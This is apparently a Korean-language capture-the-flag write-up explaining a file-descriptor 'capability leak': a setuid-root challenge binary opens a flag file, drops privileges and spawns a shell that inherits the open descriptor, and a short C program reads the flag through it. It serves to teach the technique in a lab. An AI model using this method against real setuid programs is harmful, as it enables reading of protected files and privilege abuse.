what is capability leak ( in fd perspective )

일반적으로 익스프로잇을 할때 셸을 따는 것을 목표로 한다. 근데 셸을 실행할때 setuid의 프로세스에서 셸을 실행하면,

privilege drop이 일어난다.

이때 어떤 추가적인 익스를 할 수 있을까? 그중 하나는 capability leak 이다. 바로 직접적인 셸에 권한을 drop해도 기존 프로세스를 복사하면서 ( fork() , 현재는 posix_spawn ) 남은 리소스 권한이다.

그중 대표적인 fd ( file desciptor )에 대한 capability leak에 대해 알아보자

해당 문제를 기준으로 서술된다.

먼저,

C
-rwsr-xr-x 1 root      root      17320 Dec 24  2021 dreamsanta_present

다음과 같은 setuid가 있는 프로그램을 실행하고 내부에서 privilege drop 이 일어나서

C
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

다음과 같이 ruid 원래 uid를 받게 된다. ( Setuid 프로그램을 실행시켰던 )

C
root         3  0.0  0.2   2360  1412 ?        S    15:24   0:00 ./dreamsanta_present
ctf         11  0.0  0.1   2612   532 ?        S    15:25   0:00 sh -c /bin/sh
ctf         12  0.0  0.1   2612   532 ?        S    15:25   0:00 /bin/sh

ps 를 봐도 dreamsanta_present 은 root로 실행되고 그 안에서

sh -c /bin/sh 이 커널에 의해 posix_spawn 함수 실행 중에 실행되고 이 이후에,

/bin/sh 이 우리가 사용하는 셸이 된다. 근데 이때 dreamsanta_present 안에서

C
void show_flag(void)
{
    int fd = 0, idx = 0;
    char flag[256] = { 0, };

    puts("Input index");
    printf(">> ");
    idx = read_int();

    if (idx < 0 || idx > 2) {
        puts("I'll let you know next year :p");
        return;
    }

    fd = open("/home/ctf/flag", O_RDONLY);

    read(fd, flag, sizeof(flag));
    printf("flag[%d] is %c\n", idx, flag[idx]);
    memset(flag, 0, sizeof(flag));

    return;
}

open("/home/ctf/flag", O_RDONLY); 여기서 파일을 열게 되는데

C

pwd
/proc/12/fd
ls -al
total 0
dr-x------ 2 ctf ctf  0 Aug 22 15:26 .
dr-xr-xr-x 8 ctf ctf  0 Aug 22 15:25 ..
lrwx------ 1 ctf ctf 64 Aug 22 15:26 0 -> socket:[1514]
lrwx------ 1 ctf ctf 64 Aug 22 15:26 1 -> socket:[1514]
lrwx------ 1 ctf ctf 64 Aug 22 15:26 2 -> socket:[1514]
lrwx------ 1 ctf ctf 64 Aug 22 15:26 3 -> socket:[1515]
lrwx------ 1 ctf ctf 64 Aug 22 15:26 4 -> socket:[1516]
l-wx------ 1 ctf ctf 64 Aug 22 15:26 5 -> pipe:[1288]
lr-x------ 1 ctf ctf 64 Aug 22 15:26 6 -> /home/ctf/flag

12번 프로세스의 ( 셸 ) fd들을 보면

lr-x------ 1 ctf ctf 64 Aug 22 15:26 6 -> /home/ctf/flag

놀랍게도 부모의 fd인 /home/ctf/flag 가 있는 것을 알 수 있다.

이것이 capability leak 이다.

당연히 저건 심볼릭링크 파일이므로 저걸 cat해서 열면 안된다. 그럼 새로 open을 하기 때문이다.

우리는 이미 열려있는 fd를 써야 하기 때문에,

C
#include <unistd.h>

int main(){
    char buf[50];
    lseek(6, 0, SEEK_SET);
    read(6,buf,50);
    write(1,buf,50);
    return 0;
}

다음과 같은 코드를 써서 실행하거나, 서버가 파이썬이 있으면 파이썬으로 하면 된다.